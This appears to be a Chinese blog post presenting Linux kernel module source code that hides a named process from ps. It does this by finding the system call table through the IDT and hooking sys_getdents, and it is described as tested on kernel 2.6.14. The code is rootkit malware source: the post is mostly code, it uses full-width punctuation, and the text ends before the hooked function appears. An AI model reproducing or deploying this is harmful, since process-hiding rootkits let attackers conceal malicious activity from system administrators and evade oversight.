很早以前的小程序，比较简单但是觉得有趣
原理很简单，Linux查看进程的命令ps是通过系统调用sys_getdents实现，sys_getdents用户获取一个指定路径下的目录条目，实际上就是枚举
/proc/ 下的pid，这样我们只需要hook一下sys_getdents，把相应的要隐藏的pid信息去掉即可。
以下是LKM代码，在Linux-2.6.14测试并运行成功
#include 《linux/module.h》
#include 《linux/kernel.h》
#include 《asm/unistd.h》
#include 《linux/types.h》
#include 《linux/dirent.h》
#include 《linux/string.h》
#include 《linux/file.h》
#include 《linux/fs.h》
#define CALLOFF 100
//使用模块参数来定义需要隐藏的进程名
char *processname;
module_param（processname， charp， 0）;
struct {
unsigned short limit;
unsigned int base;
} __attribute__ （（packed）） idtr;
struct {
unsigned short off1;
unsigned short sel;
unsigned char none，
flags;
unsigned short off2;
} __attribute__ （（packed）） * idt;
void** sys_call_table;
asmlinkage long （*orig_getdents）（unsigned int fd， struct linux_dirent64 __user *dirp， unsigned int count）;
char * findoffset（char *start）
{
char *p;
for （p = start; p 《 start + CALLOFF; p++）
if （*（p + 0） == ‘\xff’ && *（p + 1） == ‘\x14’ && *（p + 2） == ‘\x85’）
return p;
return NULL;
}
int myatoi（char *str）
{
int res = 0;
int mul = 1;
char *ptr;
for （ptr = str + strlen（str） - 1; ptr 》= str; ptr--） {
if （*ptr 《 ‘0’ || *ptr 》 ‘9’）
return （-1）;
res += （*ptr - ‘0’） * mul;
mul *= 10;
}
return （res）;
}
struct task_struct *get_task（pid_t pid）
{
struct task_struct *p = get_current（），*entry=NULL;
list_for_each_entry（entry，&（p-》tasks），tasks）
{
if（entry-》pid == pid）
{
printk（“pid found\n”）;
return entry;
}
}
return NULL;
}
static inline char *get_name（struct task_struct *p， char *buf）
{
int i;
char *name;
name = p-》comm;
i = sizeof（p-》comm）;
do {
unsigned char c = *name;
name++;
i--;
*buf = c;
if （！c）
break;
if （c == ‘\\’） {
buf［1］ = c;
buf += 2;
continue;
}
if （c == ‘\n’） {
buf［0］ = ‘\\’;
buf［1］ = ‘n’;
buf += 2;
continue;
}
buf++;
}
while （i）;
*buf = ‘\n’;
return buf + 1;
}